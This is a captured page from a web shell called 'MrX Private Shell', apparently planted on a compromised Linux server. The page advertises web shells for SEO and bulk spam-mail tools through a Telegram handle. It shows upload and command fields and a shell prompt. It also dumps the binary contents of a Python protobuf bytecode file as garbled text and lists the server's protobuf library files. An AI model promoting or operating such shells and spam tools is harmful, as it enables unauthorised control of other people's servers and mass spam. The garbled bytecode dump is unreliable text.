__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

aptanhua@216.73.216.200: ~ $
3

���hX�@s|dZyddlmZWn ek
r4ddlmZYnXddlZddlZddlmZddlm	Z	dd�Z
ddd	�Zd
d�ZdS)
zDynamic Protobuf class creator.�)�OrderedDictN)�descriptor_pb2)�message_factorycCs|jj|�}|j|�}|S)a8Get a proto class from the MessageFactory by name.

  Args:
    factory: a MessageFactory instance.
    full_name: str, the fully qualified name of the proto type.
  Returns:
    A class, for the type identified by full_name.
  Raises:
    KeyError, if the proto is not found in the factory's descriptor pool.
  )�poolZFindMessageTypeByNameZGetPrototype)�factory�	full_nameZproto_descriptor�	proto_cls�r	�#/usr/lib/python3.6/proto_builder.py�_GetMessageFromFactory,s
rc
Cs�tj|d�}|dk	r8yt||�}|Stk
r6YnXt|j��}t|t�sVt|�}t	j
�}x4|D],\}}|j|jd��|jt
|�jd��qdW|j�d}	|dkr�d|j�}yt||�}|Stk
r�YnX|jjt|	||��t||�S)a�Create a Protobuf class whose fields are basic types.

  Note: this doesn't validate field names!

  Args:
    fields: dict of {name: field_type} mappings for each field in the proto. If
        this is an OrderedDict the order will be maintained, otherwise the
        fields will be sorted by name.
    full_name: optional str, the fully-qualified name of the proto type.
    pool: optional DescriptorPool instance.
  Returns:
    a class, the new protobuf class with a FileDescriptor.
  )rNzutf-8z.protoz6net.proto2.python.public.proto_builder.AnonymousProto_)rZMessageFactoryr�KeyError�list�items�
isinstancer�sorted�hashlibZsha1�update�encode�strZ	hexdigestrZAdd�_MakeFileDescriptorProto)
Zfieldsrrrr�field_itemsZfields_hash�f_name�f_type�proto_file_namer	r	r
�MakeSimpleProtoClass<s4



rcCs�|jdd�\}}tj�}tjj|jdd�|�|_||_|j	j
�}||_x@t|d�D]2\}\}}	|jj
�}
||
_||
_
tjj|
_|	|
_qRW|S)zAPopulate FileDescriptorProto for MessageFactory's DescriptorPool.�.��/)�rsplitrZFileDescriptorProto�os�path�join�replace�name�packageZmessage_type�add�	enumerateZfieldZnumberZFieldDescriptorProtoZLABEL_OPTIONALZlabel�type)rrrr$r#Z
file_protoZ
desc_protoZf_numberrrZfield_protor	r	r
rts



r)NN)
�__doc__�collectionsr�ImportErrorZordereddictrrZgoogle.protobufrrrrrr	r	r	r
�<module>s
8

Filemanager

Name Type Size Permission Actions
__init__.cpython-36.opt-1.pyc File 319 B 0644
__init__.cpython-36.pyc File 319 B 0644
any_pb2.cpython-36.opt-1.pyc File 2.09 KB 0644
any_pb2.cpython-36.pyc File 2.09 KB 0644
any_test_pb2.cpython-36.opt-1.pyc File 2.18 KB 0644
any_test_pb2.cpython-36.pyc File 2.18 KB 0644
api_pb2.cpython-36.opt-1.pyc File 4.73 KB 0644
api_pb2.cpython-36.pyc File 4.73 KB 0644
descriptor.cpython-36.opt-1.pyc File 31.27 KB 0644
descriptor.cpython-36.pyc File 31.27 KB 0644
descriptor_database.cpython-36.opt-1.pyc File 4.11 KB 0644
descriptor_database.cpython-36.pyc File 4.11 KB 0644
descriptor_pb2.cpython-36.opt-1.pyc File 30.36 KB 0644
descriptor_pb2.cpython-36.pyc File 30.36 KB 0644
descriptor_pool.cpython-36.opt-1.pyc File 26.77 KB 0644
descriptor_pool.cpython-36.pyc File 26.8 KB 0644
duration_pb2.cpython-36.opt-1.pyc File 2.13 KB 0644
duration_pb2.cpython-36.pyc File 2.13 KB 0644
empty_pb2.cpython-36.opt-1.pyc File 1.69 KB 0644
empty_pb2.cpython-36.pyc File 1.69 KB 0644
field_mask_pb2.cpython-36.opt-1.pyc File 2.05 KB 0644
field_mask_pb2.cpython-36.pyc File 2.05 KB 0644
json_format.cpython-36.opt-1.pyc File 20.32 KB 0644
json_format.cpython-36.pyc File 20.32 KB 0644
map_proto2_unittest_pb2.cpython-36.opt-1.pyc File 18.31 KB 0644
map_proto2_unittest_pb2.cpython-36.pyc File 18.31 KB 0644
map_unittest_pb2.cpython-36.opt-1.pyc File 39.56 KB 0644
map_unittest_pb2.cpython-36.pyc File 39.56 KB 0644
message.cpython-36.opt-1.pyc File 10.48 KB 0644
message.cpython-36.pyc File 10.48 KB 0644
message_factory.cpython-36.opt-1.pyc File 3.93 KB 0644
message_factory.cpython-36.pyc File 3.93 KB 0644
proto_builder.cpython-36.opt-1.pyc File 2.68 KB 0644
proto_builder.cpython-36.pyc File 2.68 KB 0644
reflection.cpython-36.opt-1.pyc File 2.65 KB 0644
reflection.cpython-36.pyc File 2.65 KB 0644
service.cpython-36.opt-1.pyc File 8.56 KB 0644
service.cpython-36.pyc File 8.56 KB 0644
service_reflection.cpython-36.opt-1.pyc File 9.76 KB 0644
service_reflection.cpython-36.pyc File 9.76 KB 0644
source_context_pb2.cpython-36.opt-1.pyc File 2.15 KB 0644
source_context_pb2.cpython-36.pyc File 2.15 KB 0644
struct_pb2.cpython-36.opt-1.pyc File 5.02 KB 0644
struct_pb2.cpython-36.pyc File 5.02 KB 0644
symbol_database.cpython-36.opt-1.pyc File 5.32 KB 0644
symbol_database.cpython-36.pyc File 5.32 KB 0644
test_messages_proto2_pb2.cpython-36.opt-1.pyc File 38.69 KB 0644
test_messages_proto2_pb2.cpython-36.pyc File 38.69 KB 0644
test_messages_proto3_pb2.cpython-36.opt-1.pyc File 43.27 KB 0644
test_messages_proto3_pb2.cpython-36.pyc File 43.27 KB 0644
text_encoding.cpython-36.opt-1.pyc File 3.06 KB 0644
text_encoding.cpython-36.pyc File 3.06 KB 0644
text_format.cpython-36.opt-1.pyc File 38.55 KB 0644
text_format.cpython-36.pyc File 38.58 KB 0644
timestamp_pb2.cpython-36.opt-1.pyc File 2.14 KB 0644
timestamp_pb2.cpython-36.pyc File 2.14 KB 0644
type_pb2.cpython-36.opt-1.pyc File 8.49 KB 0644
type_pb2.cpython-36.pyc File 8.49 KB 0644
unittest_arena_pb2.cpython-36.opt-1.pyc File 2.76 KB 0644
unittest_arena_pb2.cpython-36.pyc File 2.76 KB 0644
unittest_custom_options_pb2.cpython-36.opt-1.pyc File 32.24 KB 0644
unittest_custom_options_pb2.cpython-36.pyc File 32.24 KB 0644
unittest_import_pb2.cpython-36.opt-1.pyc File 3.11 KB 0644
unittest_import_pb2.cpython-36.pyc File 3.11 KB 0644
unittest_import_public_pb2.cpython-36.opt-1.pyc File 1.93 KB 0644
unittest_import_public_pb2.cpython-36.pyc File 1.93 KB 0644
unittest_mset_pb2.cpython-36.opt-1.pyc File 4.46 KB 0644
unittest_mset_pb2.cpython-36.pyc File 4.46 KB 0644
unittest_mset_wire_format_pb2.cpython-36.opt-1.pyc File 2.51 KB 0644
unittest_mset_wire_format_pb2.cpython-36.pyc File 2.51 KB 0644
unittest_no_arena_import_pb2.cpython-36.opt-1.pyc File 1.83 KB 0644
unittest_no_arena_import_pb2.cpython-36.pyc File 1.83 KB 0644
unittest_no_arena_pb2.cpython-36.opt-1.pyc File 20.24 KB 0644
unittest_no_arena_pb2.cpython-36.pyc File 20.24 KB 0644
unittest_no_generic_services_pb2.cpython-36.opt-1.pyc File 3.23 KB 0644
unittest_no_generic_services_pb2.cpython-36.pyc File 3.23 KB 0644
unittest_pb2.cpython-36.opt-1.pyc File 124.95 KB 0644
unittest_pb2.cpython-36.pyc File 124.95 KB 0644
unittest_proto3_arena_pb2.cpython-36.opt-1.pyc File 21.42 KB 0644
unittest_proto3_arena_pb2.cpython-36.pyc File 21.42 KB 0644
wrappers_pb2.cpython-36.opt-1.pyc File 4.58 KB 0644
wrappers_pb2.cpython-36.pyc File 4.58 KB 0644